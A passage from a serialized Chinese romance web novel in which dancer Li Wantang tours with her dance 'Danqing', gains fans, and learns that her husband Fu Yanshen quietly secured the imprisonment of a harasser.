互相讨论的声音越来越热闹,话题扯开,把所有人心里的那点紧张消融。 苏清来到黎晚棠化妆桌前,偏头询问:“你呢,紧不紧张?” 黎晚棠仰头笑道:“有点,但我家人都在现场,想到是跳给他们看,反而就不紧张了。” 外面表演早就开始了,只是还没到他们的节目。 化妆期间,她就收到沈老师发过来的现场照片,放眼望去,演播厅的观众熙熙攘攘,座无空席。 最后她还拍了张大合照,这次依旧是两家人出动,黎晚棠在角落里看到了傅砚深那张脸。 从他面部表情来看,应该是不习惯拍照,像被勉强被拉入其中。 黎晚棠盯着看了会儿,没忍住笑了。 团里的另一个节目比她的早,他们结束返回,黎晚棠还在这里等着。 跳完后,同事们心情都很放松,有说有笑地安慰她,说其实也没什么特别,就是眼前摄像头多了一些,要她放轻松。 白露晞提着裙摆,小碎步跑到她跟前:“晚晚,跳完轻松多了,这会儿咱俩来拍一张。” 还没演出前,她整个人都是紧绷的,没有心思拍照。 黎晚棠侧脸贴着她,对着镜头比了个耶。 很快,就有负责人过来叫她过去准备。 黎晚棠从椅子上站起身时,目光恰好跟温若棠对上,她没什么表情地看她一眼,便转身进入隔间去换衣服。 黎晚棠轻勾了下唇,上次警告过她后,确实老实了不少,现在碰面连那种酸话都没有了。 来到侧舞台,她低头整理身上的衣服,深吸一口气,静静听着主持人说着节目流程。 直到报出她的名字,以及那句《丹青》后,舞台灯光变暗,音乐声也慢慢响起。 台下,宋徽音困倦地思绪顿时跑空,立马来了精神:“快快快,终于到我儿媳妇的表演了。” 闻言,其他人也目不转睛盯着台上出现的剪影,期待这支重新改编后的舞蹈。 傅砚深双手合十搭在膝盖上,目光从黎晚棠出来,就一直落在她身上。 这支舞蹈他私下看过黎晚棠练习过很多遍,但在舞台上的她依旧耀眼夺目,每一个动作都让人移不开眼。 他偏头看了眼其他观众,似乎所有人的目光都落在台上,安安静静地欣赏她这支独舞。 一曲结束,台下瞬间响起热烈掌声,而他旁边的掌声尤其响亮。 宋徽音手掌都拍红了:“真好,我们家棠棠天生就是吃这碗饭的,不仅人长得漂亮,动作也优美。” 沈听荷出声附和:“确实,这支舞蹈改编过后,整个主题都得到了升华。” 傅砚深没说话,目光依旧盯着朝台上鞠躬的女孩,台上和台下的距离虽然不近,但他还是发现,女孩的目光朝他们这边看了几秒。 就在这时,他兜里手机震动起来,拿出看到是萧仲,按下静音,偏头跟身旁的父亲低语几句,起身离开。 沈听荷察觉傅砚深起身离开,偏头看了眼,最后是宋徽音解释,才知道他今晚要出差。 这边,黎晚棠刚走下舞台,苏清就笑吟吟地上前抱住她:“晚棠,特别棒,观众反应很热烈,说明你这支舞蹈改编得很成功。” 黎晚棠也抬手回抱住她:“谢谢团长,也谢谢团里给我这次机会。” 苏清轻拍她后背:“不用客气,因为你值得。” 值得让团里为她出资打造。 返回化妆间,其他同事已经离开,黎晚棠换上衣服,也准备去跟沈老师他们汇合。 只是当她走出后台,往演播厅的方向行走时,突然有几个女孩抱着鲜花跑了过来:“晚棠!我们好喜欢你的舞蹈,这束花送你。” 黎晚棠愣了下,似乎很惊讶会有人给她送花,茫然地目光又在几个女孩脸上扫了眼,慢半拍地把鲜花接了过来:“……谢谢。” “不客气,我们是特意跑过来看你的现场表演,你跳得真棒。” 为首的女孩看了眼身旁的朋友,羞涩一笑:“其实我们也是学舞蹈的,在网上看到你的那段舞蹈视频,私下跟着练习过,但没有你跳得好。” 得知他们都是舞蹈生,黎晚棠嘴角笑意渐浓:“加油,假以时日,你们会超越我。” “谢谢你的鼓励,我们会一直支持你的,从现在起,我们就是你的忠实粉丝!” 跟女孩们告别后,黎晚棠捧着手里的鲜花,不时低头看一眼,感觉这一刻好不真实。 事到如今,她也有粉丝了。 隔着很远距离,沈听荷看到黎晚棠捧着的那束鲜花,笑着调侃:“看来我的这束有点多余。” 其他人听到这话,纷纷弯唇笑了,都以为是傅砚深送的。 黎晚棠勾唇没解释,余光瞥见少了一个人的身影,敛唇问:“傅砚深还没出来吗?” “哦,砚深出差了,今晚十一点半的飞机,你跳完那支舞,他就匆忙走了。” 宋徽音怕黎晚棠低落,笑道:“虽然砚深没在,但是还有爸爸妈妈们帮你庆祝。” 黎晚棠扯唇:“谢谢妈。” 提前订的餐厅,两家人吃完饭,就各自分开。 上车前,深听荷偏头问她:“反正砚深也出差了,你要不回家住两天。” 黎晚棠下意识摇头:“算了,明天过后我就要去外地演出,搬来搬去挺麻烦的。” 沈听荷也清楚,接下来她有得忙:“行,你自己多注意点身体。” 黎智海也叮嘱:“照顾好自己,吃饭什么的别糊弄。” 黎晚棠觉得他们还把她当孩子,无奈笑道:“我知道,你们快走吧,很晚了。” 看着父母离开,她才转身上了自己那辆车,一路行驶到家,时间已经到十一点。 黎晚棠输入密码进屋,眼前的视线黑漆漆一片,静静望着这一幕,她瞬间觉得缺少点什么。 抬手开灯,望着空无一人的客厅,那种孤寂感扑面而来,头一次觉得这房子太大了,空荡荡没有一点生气。 换上拖鞋,黎晚棠迈着疲惫地步伐往里走,余光瞥见水吧台下,石头正在那里来回转动着。 地板明明已经一尘不染了,它还在孜孜不倦地工作。 她抱着怀里的鲜花走了过去,从储物柜里找到一个空花瓶,将两束花小心翼翼插入花瓶中。 盯着看了一会儿,刚要转身,脚后跟突然被石头撞了下。 黎晚棠弯腰垂眸,就见石头正围着她转。 她笑着蹲下身,曲起指尖在它脑袋上轻敲了几下:“干嘛,又把我当成入侵者了?” 石头不说话,还是一个劲围着她转。 黎晚棠索性盘腿坐在地板上,低头正儿八经跟它对话:“你好,石头。” 石头:“在呢,需要什么帮助?” 黎晚棠:“你好石头,我就问问,你是不是想你爸了?” 石头:“我没有爸爸,但我想傅砚深了。” “……” 黎晚棠眉梢忽抬,惊诧这家伙还知道傅砚深的名字。 片刻,她俯下身摸了摸它,嘴角轻弯:“笨石头,还知道想人呢。” 说到这,黎晚棠忙低头看了眼腕表,还有十分钟就到起飞时间,也不知道傅砚深这会儿,还能不能看手机。 “算了,念在你茶不思饭不想,无聊到乱擦地板的样子,我好心帮你问问吧。” 黎晚棠起身拿过手机,对着石头连拍了几张照片,点开傅砚深的微信,发送成功后,快速编辑。 “傅砚深,石头说它想你了。” 第29章 京北国际机场。 傅砚深落座于头等舱,拿过文件刚要翻看,手机突然发出声响。 以为是母亲起飞前的短信提醒,打开看到是黎晚棠,眉头轻皱了皱。 莫非,是来质问他为何提前离场? 傅砚深敛眸沉默片刻,而后放下文件,点开她的微信。 只是看到她发过来的那句话时,眉头皱得更深了。 石头想他? 傅砚深低头捏了捏眉心,再睁眼,他确实没看错,说的是石头想他,而不是她。 不懂她这句话的含义,他指尖轻点屏幕:【?】 黎晚棠看到傅砚深回过来的问号,捧着手机发笑:【没骗你,真是石头说的,它还知道你的名字。】 傅砚深:【它知道很正常,我的名字在系统里设置过。】 黎晚棠了然,原来如此,她还以为石头真成精了呢,还懂得人的思维情感。 眼看就到起飞时间,她忙打字:【要起飞了吧,就不打扰你了。】 黎晚棠放下手机,准备起身,这时又震动起来。 傅砚深:【嗯,自己在家注意安全,不要喝冷水,室内空调温度别调太低,你半夜喜欢踢被子,容易着凉。】 黎晚棠瞬间无语,他们怎么都把她当小孩:【知道了傅管家,好好上你的飞机吧,祝你一路平安。】 傅砚深盯着聊天框,想到女孩在家嫌他啰嗦的模样,弯唇很浅地扯了下:【去看了现场,你跳得特别好。】 萧仲偏头正想问傅总要喝点什么,余光瞧见他嘴角那抹浅笑,惊讶得下巴都要掉了。 傅总在笑? 不对,傅总原来会笑! 深怕自己的行为会打破傅总这一刻的状态,萧仲缓慢地收回视线,当作什么都没看着。 或许,傅总压根不渴。 他闭眼时却忍不住去想,能让傅总笑的人,肯定是傅太太。 黎晚棠看完最后那条信息,起身没再回复,嘴角却勾起一抹淡淡的弧度。 耿直大哥,原来也会夸人。 泡完脚,又擦完药躺在床上,黎晚棠掀开被子刚要躺下,忽然想到傅砚深的叮嘱,又侧身拿过遥控器,将空调温度调到二十六度。 以往她是嫌傅砚深身上太热,温度固定在二十四度。 将遥控器放下,她顺势关掉床头的落地灯,而后一把抓过拉布布抱在怀里。 黑暗中,来回调整了好几次睡姿,她闭上的眼睛,又缓缓睁开。 黎晚棠偏头看了眼空荡荡的身旁,找到原因的同时暗自感慨。 习惯这个东西真可怕,她抱了那么久的拉布布,这一刻却突然发现,它竟然没有傅砚深抱着舒服。 而且两米二的大床,此刻也觉得宽阔无边。 黎晚棠只当这是暂时的不习惯,毕竟吃过香甜的蛋糕,谁还会喜欢吃没味道的全麦面包呢。 这一晚,她翻来覆去,严重失眠。 以至于第二天到了舞团,白露晞一眼就看出她的疲惫:“晚晚,昨晚是不是太激动,没睡好?” “激动?”黎晚棠喝了杯咖啡,扭头看她。 “对呀,你这次的舞蹈视频虽然没上次那么火爆,但讨论度也还是蛮高的。” 白露晞说着,欣喜若狂地点开她的微博:“我记得你注册微博的时候就几十个粉丝吧,你瞧瞧,现在都快突破五千粉了。” “估计比赛那次也涨了,只是你没注意,今天我点开看了下,把我惊呆了。”白露晞边滑动屏幕,边朝她挑眉:“晚晚,感觉你不久的将来肯定要火。” 黎晚棠的实力大家有目共睹,人长得漂亮更是她的优势,现在能被大家喜欢很正常。 她不也是她的小迷妹嘛。 黎晚棠低头,顺着白露晞滑动的屏幕看了看,确实是快五千粉丝了。 微博号她注册后就没管,平时也很少上去看娱乐新闻,自然没有白露晞的消息灵通。 这时,黎晚棠脑中忽然想起昨晚给她送花的女孩们,抿直的嘴角浅浅上扬。 原来这就是拥有粉丝的幸福感。 因为明天下午要飞南市演出,今日排练完,黎晚棠准时下班。 只是下班前,接到叶知薇的电话,说要帮她庆祝,她成功参加了京北艺术节。 昨晚她加班没过来。 黎晚棠没犹豫,两人有一阵子没见面了,最后约着吃火锅。 她抵达餐厅,叶知薇还在路上堵着。 这个点是下班高峰期,也是吃饭的高峰期,黎晚棠踏入大厅,满屋子都是人。 她按照顺序,排队拿号。 只是在等待期间,周边总有目光投来,就算有人走过去,还回过头来看她一眼。 黎晚棠微挑了挑眉,她不管是长相还是身材,在人群中确实有点显眼,但以往看她的目光,明显没有现在这么多。 就当她疑惑时,忽然有个女孩子拿着手机跑了过来:“你好,请问你是黎晚棠吗?” 舞台装跟平日妆容不同,女孩也不是很确定。 黎晚棠大概明白这些目光从何而来,笑着点头:“嗯,我是。” “啊啊啊,原来真是你啊,你跳的《丹青》我好喜欢,我能跟你合个影吗?”女孩仰头看着她,满脸期待。 黎晚棠点头:“可以啊。” 她俯下身,嘴角微微扬起跟女孩拍了张合照。 之前不确定是她的人看到这个情况,也纷纷拿着手机走了过来。 黎晚棠和她们大大方方拍了合照,但想到这里是餐厅门口,怕影响人家做生意,她本来是准备坐大厅的,主动要了包厢。 叶知薇赶到后,笑着调侃:“这是准备敲我一笔,都进包厢了。” 黎晚棠没把刚才合照的事说出来,弯唇笑道:“这顿我请。” “呀,那谢谢我家棠宝啦。”叶知薇小跑过去,俯身在她脸上亲了口:“爱你哦。” “咦,都是口水。”黎晚棠故意嫌弃地推开她,反手擦脸。 叶知薇见状,捂着肚子笑:“要不你去演戏得了,反正黎叔有资源。” 黎晚棠嗔她一眼,笑着把平板递给她:“快看你要吃什么吧,随便点。” “看来心情不错。”叶知薇接过后,低头开始点要吃的菜。 知道黎晚棠这家伙不缺钱,她也没跟她客气。 点完菜,叶知薇放下平板,双手捧着脸颊,认真打量对面的黎晚棠:“棠棠,你现在的舞蹈事业越来越好,我真替你高兴。” 黎晚棠喝了口茶,抬眸看她:“你也不错呀。” 叶知薇虽然很早就放弃了舞蹈,但现在也是一名很出色的财经记者。 “嗯,但是我还想更好。”叶知薇笑吟吟地朝她眨眼:“棠宝,你能帮我吗?” 黎晚棠差点没被送入口中的茶水呛死,忙抽出纸巾擦拭嘴角,就知道她叫这声棠宝没好事。 又重新喝了口茶,她抬头盯着她:“说吧,这次你又想采访谁?” 总不能是她爸吧? 叶知薇笑眯眯地拿出手机:“这回不会很麻烦,是你名正言顺的老公。” “……” 黎晚棠庆幸那杯茶喝完了,不然还得呛一次。 “你没搞错吧?”她惊诧反问。 “当然没搞错,我是认真的。” 叶知薇翻出网上的财经新闻,把手机推到她面前,笑着科普:“看看吧,这是你老公成功收购WG的视频,这条新闻刚爆出,整个行业人都震惊了,那可是WG呀,那么牛的剧集团都被你老公收购了。” 黎晚棠不懂她说的这些,抬手拿过手机,低头时,一眼就看见人群中的傅砚深。 背景是豪华的摩天大楼,个个精英打扮,同样是深黑色西装,傅砚深却最为耀眼。 金边眼镜下,男人眼睫如鸦羽,根根分明,抬头跟人交流时,面部表情认真严肃,精致的侧脸线条,如同刀削一般。 黎晚棠指尖轻轻滑动傅砚深的其他相片,越发觉得,他长得是真好看,穿衣如模特骨架,完美得有些不真实。 “现在你老公在金融圈里,可谓是火出天际,约他采访的报社数不胜数,但被他统统拒绝了。” 叶知薇嘴角微扬,扯出个讨好的笑:“我这个有后门的,不走不就白白浪费了吗。” 黎晚棠算是明白了,叶知薇今晚约她的意图,庆祝是假,找她办事是真。 她面不改色地把手机还给她:“说了就一次的,你现在又来。” “棠宝,我也想凭实力约人,不是能力不允许嘛。” 叶知薇也头疼,炙手可热的财经人物全是傅砚深那个圈子的,但唯独他们那帮人不好约。 如果上次不是傅砚深开口,估计程晏川也不会答应她的采访。 可现在来看,傅砚深好像更难约,稍稍调查一下就知道,他不接受任何财经采访,除了能在商业合作上看到他的照片,几乎没有什么报道。 主编说出采访人物时,叶知薇想着傅砚深的老婆是她闺蜜,这种势在必得的事情,她二话不说,便兴致勃勃从主编那里把采访的活给揽了。 现在要是不成,她该如何交代。 配菜全部上齐后,叶知薇秒变古代丫鬟,热情周到地服务着:“棠宝,想吃什么您尽管吩咐,不需要您动手,一切有我呢。” 黎晚棠懒懒靠着椅背,仰头似笑非笑地看着她:“真服你了,为了一篇报道,可谓是能屈能伸啊。” 叶知薇边往火锅里放食材,边说:“没办法,为了生活,早已身不由己。” 她停下筷子,好整以暇地看着黎晚棠:“没听过那句话吗,熬过星期五,人生我做主。” “像我们这种打工仔如果不做出点成绩,还谈什么人生啊。” 黎晚棠觉得她这话搞笑,嘴角轻勾,也拿起筷子放食材:“你别把自己说得那么惨好吧。” 叶知薇家庭条件不错,就算她不用这么努力,也能活得很潇洒。 “将薪比薪想一下,我跟你这个掌控金钱命脉的已婚女性比不了。” 叶知薇顿了下,忽而笑道:“算了,还是不想了,我上哪里去找像傅砚深那么优秀的男人去。” 三句话不离傅砚深。 黎晚棠觉得叶知薇是不达目的不罢休,明里暗里在夸傅砚深,真是被她的执着打败。 她低头吃了口菜,轻声道:“他出差了,我也不好在电话里跟他提这事吧。” 叶知薇一改先前的惨状,眼眸忽亮:“没关系,只要独家是我,我可以等的。” 黎晚棠咽下牛肉后,无语地笑了起来:“戏精,牛肉都熟了,快吃吧。” “吃吃吃,你喜欢吃的毛肚也好了。” 叶知薇极其热情地给黎晚棠夹菜,嘴角都要咧耳后根了。 只是饭吃到一半,她又突然关心起黎晚棠的夫妻情况:“对了,你现在跟傅砚深相处得怎么样,你们领证也快两个月了,也多多少少培养出点感情来了吧。” 黎晚棠掀眸瞥她一眼,低头继续吃菜,没说话。 叶知薇见她这副模样,眉梢微挑眉:“姐妹,你不会……至今还没吃上吧?” 黎晚棠猛地咳了起来,差点被嘴里的毛肚噎死。 她快速咽下去后,端起果汁猛喝两口:“你能不能别在我吃饭的时候,聊这种劲爆话题。” 每次见面她必问,比她这个当事人还猴急。 叶知薇失笑:“闺蜜见面,不聊这些,难道要我跟你聊人生吗?” 女人都爱八卦,他们报社那些女同事,只要进了茶水间,聊的全是各自老公及男友行不行的问题,尺度比她还大。 “怎么不行啊,聊人生多好,就好比我现在的舞蹈事业。” 黎晚棠忙心虚转移话题,不是不能聊,只是不知道如何去讲她和傅砚深那点事,说不合适吧,目前相处又挺融洽的,要说感情…… 他们现在有感情吗? 就算最近她目光在他身上停留得多了些,这也是逐渐熟悉的正常反应,就像习惯他帮自己擦药,习惯他的唠叨,习惯什么事他都包揽。 甚至习惯他躺在自己身边,习惯压着他睡觉。 这些,她认为仅仅只是习惯而已- 第二天下午,黎晚棠跟着团里艺术指导及化妆团队飞往南市,这边是一场商业合作。 他们刚抵达,对方负责人热情过来接待。 黎晚棠他们先在酒店稍作休息,接着就跟艺术指导前往剧院走场,一直到晚饭结束。 此刻坐在化妆镜前,因为她对《丹青》的动作越发熟悉,上台的紧张逐渐减轻。 这会儿还能闭着眼睛,安心上妆。 晚上那场演出结束,观众反应依旧强烈,由于这支舞蹈动作独特,得到很多观众的喜爱。 就连她微博粉丝天天都在上涨。 自从白露晞说过后,她没事也会登入微博,看看自己的账号情况,现在去哪里演出都会发一条动态。 评论还挺多的,黎晚棠没事也会回复一些网友的问题,很多时候被他们夸得嘴角上扬。 南市演出只有一场,他们待了两天,又飞往苏州。 出差期间,她跟傅砚深好像都挺忙的,两人既没打电话也没发信息,彼此都不清楚对方的情况。 抵达苏州是凌晨一点半,看到过来接机的工作人员,黎晚棠表情稍稍愣住,片刻,又很快恢复正常。 对于演出的行程她只知道个大概,并不清楚演出地点是哪个剧院。 只是让她没想到的是,这次演出的场地,是她们上次过来救场的苏平剧院。 想到有可能会碰见钱有志,黎晚棠情绪瞬间低落下来。 上次她们表演结束就离开了,剧院给予他什么处罚,她完全不清楚,没准当时老院长是在宽慰她。 毕竟她只是个临时过去帮忙的舞蹈演员,怎么能撼动钱有志在剧院的地位。 上车后,艺术指导瞧见黎晚棠无精打采的样子,偏头询问:“晚棠,是这一路过来太累了吗?” 连续奔波转场,大家都有些受不了,何况她有点时间还得去排练。 黎晚棠扯唇:“可能有点。” 她没明说,也不想去提那些事。 艺术指导理解地点点头:“你先闭眼休息一会儿,到酒店我再叫你。” 黎晚棠没客气,仰头靠着椅背,开始闭目养神。 可没一会儿,她还真就睡过去了,抵达酒店才被叫醒。 大家推着行李纷纷进入自己房间,黎晚棠关上房门,指尖松开行李,就把自己摔进柔软的大床里。 入住酒店才发现,这家酒店是她上次跟傅砚深住的那家,时隔不到两个月,如今她又回到了这里。 只是她住的不是顶楼的总统套房。 躺了一会儿,黎晚棠又赶紧爬起来洗澡,明天还有演出,今晚不能熬夜。 次日,她去苏平剧院时,途中有认出她的人纷纷打招呼。 上次虽然短暂性地待了两天,对于这边的舞台监制,以及灯光和音乐老师都还算熟悉。 大家看过她跳的《丹青》都赞不绝口,态度还比上次过来热情很多。 黎晚棠心里明白,这就是所谓的现实。 跟着音乐灯光走誻膤團對獨鎵了两遍场,监制说没问题,让她可以去休息了。 黎晚棠弯腰跟大家说谢谢,转身出门,准备去洗手间。 一路都能碰到熟悉的面孔,黎晚棠笑着跟他们打招呼,心里却在暗暗庆幸,还好没碰到钱有志,不然会影响她一天的心情。 从洗手间出来,黎晚棠意外碰见上次那个女孩,女孩看到是她也愣了下,随即笑着打招呼:“你好。” 黎晚棠点头:“你好,好久不见。” 女孩这次的状态看起来完全不一样,性格似乎开朗了很多,整个人也阳光了,不像之前那般畏畏缩缩的。 “不忙的话,能跟你聊聊吗?”女孩笑问。 黎晚棠笑着点头:“当然。” 两人从洗手间出来,来到无人的楼梯间。 女孩笑了笑,俯身朝她虔诚地鞠了一躬:“黎晚棠,谢谢你。” “……” 黎晚棠有点懵,不明白她的谢谢从何而来。 片刻,她扯唇问:“我想知道,是发生什么事情了吗?” 起码先让她搞清楚,这里面到底发生了什么事。 女孩笑道:“钱有志被抓了,还判了十年。” 黎晚棠震惊地睁大眼,满脸的不可置信。 钱有志被判刑了? 见黎晚棠露出诧异的表情,女孩平静地叙述道:“从你上次报警,钱有志被关了一个星期,出来后就愤愤不平,脾气也容易暴怒,有次我排练结束,不知是运气不好,还是他故意在路上堵我,我当时扭头就要跑,却被他迅速追上来抓住手臂,最后直接将我拉进旁边的雨棚里。” 听到这,黎晚棠垂在腿边的手一点点收紧, 女孩当时的那种绝望的心情,她深有感触。 “当他脱裤子准备侵犯我的时候,忽然有两个人冲了过来,把我救了。” 女孩说到这,轻舒一口气:“后来我才知道,那两个人是私家侦探,从钱有志出来后就一直跟着他,目的就是要找到他再次犯罪的证据。” 黎晚棠听到有私家侦探,眼皮猛跳了下,心里隐隐感觉,她像抓到了什么线索。 女孩停顿了下,又说:“直到有个男人找到我,劝我站出来,要我揭露并举报钱有志的行为,他还跟我保证会将他绳之以法。” “刚开始我一直在犹豫,可他说你是他的妻子,前不久才被钱有志骚扰过,他还说,像钱有志那样的人,只有得到应有的惩罚,这个社会才会变得越来越好。” 女孩有些愧疚地垂下头,声音闷闷的:“原来你说得没错,若不想受担惊受怕,就是将钱有志的罪行公之于众,你当初劝我揭露他的时候,我没有勇气,所以当你老公再次找到我,我同意了。” 说着,女孩重新抬起头,眼里蓄满了泪光:“黎晚棠,你老公没有食言,材料交上去没多久,钱有志就被有关部门带走调查,顺着这条线还查到他强。奸她人的证据,最后被判了十年,得到了最应有的惩罚。” “我本来是要感谢他,可他却说,如果真要谢,有机会就谢他太太,是她的坚持,才让他做了这件有意义的事。” 女孩再次诚恳地向黎晚棠鞠了一个躬:“所以,我欠你一句谢谢,是你们,让我重新找回了自己。” 跟女孩分开后,黎晚棠心情无比复杂。 原来傅砚深瞒着她,在做她无能为力的事。 没能把钱有志送进监狱,她心有遗憾。 如今,傅砚深却偷偷把她的这份遗憾填满了。 这一刻,黎晚棠心脏蔓延着无法形容的情绪,有点像荒芜的沙地里,忽然被人灌溉下一汪清水,浸湿后,形成一股暖流偷偷流入心底。 最后,尘埃落定。 犹豫了很久,黎晚棠还是给傅砚深打去电话。 当对方声音响起,并用很意外的口吻喊了声她的名字:“黎晚棠。” 接到她的电话,傅砚深确实是很意外,这是他出差以来,黎晚棠第一次给他打电话。 黎晚棠垂下眸,轻嗯了声:“这会儿没打扰你吧?” 他在那里出差,又在忙些什么,这些她一概不知。 所以才会问有没有打扰他。 “没有。” 傅砚深情绪平复后,平静问:“你找我有事?” 黎晚棠没多加犹豫,直接开口问道:“钱有志,是你找到证据把他送进去的吗?” 傅砚深黑眸微敛,没想到她得知了此事,而且还是在这个时间点问起。 沉默了许久,他没直面回答,而是反问:“是有人找你,说谢谢了。” 他没反驳,原来真是他。 得到肯定的答案,黎晚棠眼睫轻眨,这一刻,她忽然听到了心脏如雷的跳动声。 她低头动了动唇,低声说道:“嗯,今晚的演出是在苏平剧院,我刚才在后台碰见她了,她让我谢谢你。” 黎晚棠舔了下唇,片刻的犹豫后,说出后面那句:“我也是。” 谢谢他,在她不知情的情况下,默默做了这一切。 这话落下,两人都沉默下来。 许久,傅砚深先开口打破沉默:“我说过,我们之间不需要说谢谢。” 不等她回答,他低沉的声音再度响起:“若你真要谢,下次当着我的面说。” 黎晚棠被他这话逗笑,顺势问:“那你什么时候回京北?” 明知道她问这句话的意思,是要当面跟他说谢谢,傅砚深却装糊涂:“嗯?” 黎晚棠无声勾唇:“你先回答我。” “不清楚,这边项目还没结束,我没法给你肯定的答复。” 傅砚深实话实说,这边的事确实还没处理完。 黎晚棠弯了弯唇,握着手机继续往前走,只是经过拐角时,余光忽而瞥见天边那抹橘红色的霞光,她脚步缓缓停了下来。 偏头静静看了一会儿,她低声道:“那你确定好了,告诉我。” “好。”傅砚深眼睫轻颤,以为她就此挂断时,临了又听到一句。 “我等你回来。” 第30章 苏平剧院的演出结束,他们连夜转机,飞往下一个城市。 由于《丹青》逐渐得到大家的喜爱,很多舞蹈博主都在转发,甚至模仿,视频在网上引起热议。 黎晚棠有次转机到深市,他们刚出机场,就碰到几名过来接机的粉丝。 当她们激动喊出她的名字时,黎晚棠震惊到愣在原地,或许是从未想过,她也会有粉丝过来接机。 她就那样傻傻站着,看着她们越走越近,半点反应都没有。 还是身旁的艺术指导提醒她,才猛然回神。 黎晚棠笑着上前,接过她们准备的鲜花,又跟她们拍两张大合照,笑着挥手告别。 整个过程晕乎乎的。 刚上车,就有女同事笑着打趣:“晚棠,看来你身边得配一名助理了,现在你的知名度越来越高,粉丝送的花太多,你一个人可抱不过来。” 黎晚棠顺势把怀里另一束花递给她,笑道:“那这束给你,赠人玫瑰,手留余香,我把这份喜悦也转给你。” “哇,谢谢,今天男朋友的花没收到,先收到你给的,我也算幸福了。”女同事笑着感慨。 黎晚棠微微挑眉,细想了下,才知道今天是国内的七夕情人节,不过这也跟她没关系,傅砚深又不可能过这种节。 再说,他们是娃娃亲的基础,算不上正儿八经的情侣。 抵达酒店,黎晚棠松开行李箱,快跑两步,大咧咧将自己摔在大床上,而后转个身,又把脸颊埋进柔软的枕头里。 最近她都快飞晕了,还是躺着最踏实。 恰好这时,耳边的手机铃声响了起来。 “棠棠,现在到酒店了吧。”沈听荷每天都会跟她打电话,所以清楚她的行程。 黎晚棠点开扩音,随手抓了个枕头往怀里压:“嗯,到了,我刚准备休息一会儿,你电话就来了。” “就是怕你什么东西都没吃,倒头就睡。” 沈听荷心疼道:“我看你最近下巴都尖了,来回跑场累坏了吧。” 她有过这种连轴演出的经验,更清楚飞来飞去,不仅睡不好还吃不好,每天都有睡眠不足的困倦感。 “嗯,是挺累的。”黎晚棠没隐瞒,语气还有点撒娇的韵味:“不过这样的日子,我累并快乐着。” 这是她喜欢的事业,再累,她也觉得是乐在其中。 “你演出强度大,最近别控制饮食,可以适当多吃一些,身体才有能量。” 沈听荷轻声哄道:“乖,现在先去吃点东西再睡。” 黎晚棠不想母亲操心,乖乖点头:“嗯,我等会儿就去吃。” 母女俩又聊了会儿,沈听荷刚要挂电话,又问道:“对了,你这几天有没有跟砚深联系?” 上次电话后,她和傅砚深就再没联系过。 黎晚棠不清楚沈老师是什么意思,试探问:“他工作忙,怎么了?” “没事,就是你们两都忙着工作,眼看十几天没见着了,你有空就多给砚深打打电话。” 沈听荷没说得太直白,有些话点到为止,小两口的感情,还需要他们自己去经营。 黎晚棠明白沈听荷担忧的是什么,笑着安慰:“知道,您别把心思都放我身上,留点给我爸,别等我回去他又吃醋,说你不管他。” 以前沈听荷经常陪着她到处去比赛,每次回家,她爸就会抱怨说她母亲不管他。 闻言,沈听荷羞恼地笑骂她一嘴,叮嘱她赶紧去吃饭,两人结束通话。 耳边回归安静,黎晚棠目光落在手机屏幕上,沉默了会儿,还是点开傅砚深的微信。 指尖在对话框里删删减减,最后却找不到一句能打招呼的话。 或许是两人没事从不主动聊天,一时间不知问些什么。 就当她准备放弃时,傅砚深的信息弹了出来。 傅砚深:【是准备写毕业论文吗?我看你犹豫了很久。】 黎晚棠看完噗嗤一声笑了,她捧着手机转了个身:【当然要犹豫,怕日理万机的傅总在忙,打扰到你多不好。】 傅砚深:【别人或许是打扰,但你不是。】 黎晚棠指尖微颤了下,而后嘴角又一点点扬起:【看来成为你的妻子,优待还挺多。】 但显然傅砚深没接她这个话题,而是问了句:【你到深市了。】 黎晚棠诧异睁眸,没想到他会清楚自己的行程,毕竟这事他们从没聊过。 忽然想到什么,她忙打字:【我妈跟你说的?】 傅砚深:【不是,我关注了你的微博。】 从来不关注什么明星艺人的他,破天荒开通了微博,刚开始不懂怎么操作,还让萧仲帮忙。 这下黎晚棠更加惊讶起来,傅砚深什么时候变那么潮了,还玩微博,而且还关注了她。 她最近总在微博上分享自己的演出行程,看来他是从上面知晓的。 黎晚棠弯唇调侃:【看来傅总比我想象中的潮嘛。】 傅砚深:【我在你心里很土?】 看到他这条回复,黎晚棠直接笑倒在床上。 笑傅砚深对他的认知不明确,更笑他如此耿直问出来,模样傻得可爱。 笑了好一会儿,黎晚棠才重新拿起手机,开始在编辑框上打字:【想听真还是假话。】 傅砚深:【实话实说,我心理承受能力还可以。】 黎晚棠抿着上扬的唇角:【就这么说吧,从我认识你以来,你就没洋气过。】 不是指他的穿衣风格,而是指他老旧的思想,年少时,他除了学习就是学习,因为他想学的东西太多。 她好像从未见过和听说,他跟朋友去过网吧,以及酒吧那种场所。 而且傅望舒也说过,傅砚深没有叛逆期,他从小到大都特别懂事,从不给他爸妈增添烦恼。 远在沪市的傅砚深,看到女孩这番评价,脸上没有任何不悦或是皱眉,主要是她这话确实没说错。 网络电子产品他确实不精通,除了常用的工作软件,也不会去玩什么新科技。 就连家里的石头,以及那块运动手表,新添的程序设定,都是程晏川帮忙搞的。 傅砚深指尖刚要敲击屏幕,萧仲在这时候敲门走了进来:“傅总,WG高层管理人员已经到会议室了。” 把原本要回复的话删掉,说了句先忙了,便把手机收起来。 傅砚深低头整理好衣服,平整利落后站起身,脸色又恢复到工作时的严肃:“嗯,走吧。” WG虽然已经成功收购,但内部运营和管理尚完善,这是他第二次飞来沪市,处理这边的问题。 一个小时的会议结束,傅砚深返回办公室。 萧仲站在一旁,知道傅总是有事情要吩咐他。 果不其然,傅砚深坐下后,翻看了一下行程表,低声道:“帮我订一班飞往深市的机票,确保晚上七点半能抵达。” 萧仲在脑中飞速运转一番,这周没有飞往深市的行程,所以傅总这是要去办私事。 他试探问:“傅总,我需要跟着吗?” 傅砚深摇头:“不用,你继续留在这边,有任何问题随时跟我打电话。” 萧仲懂了,今天是情人节,所以傅总是要去找太太过节。 他认真点头:“好的,傅总。”- 黎晚棠知道傅砚深在忙,也就没发信息打扰。 她下楼去餐厅吃完饭,回来睡了个午觉。 醒来后,简单梳洗完,一行人直奔保罗剧院。 抵达剧院,同样是先走场熟悉音乐灯光,舞台导演说可以后,黎晚棠才移步化妆间。 因为有演出,晚上她不能多吃,随便吃了一点面包,就去后台候场。 深市是一线大城市,就今晚的剧目表演都有三十几个,黎晚棠的舞蹈排在了中间位置。 八点二十几分,后台编导通知她去侧台做准备。 黎晚棠还没出场,观众听到是她的剧目名,热烈的掌声先响了起来。 巡演过好几个城市,加上网上的热度,特意来看她表演的人还不少。 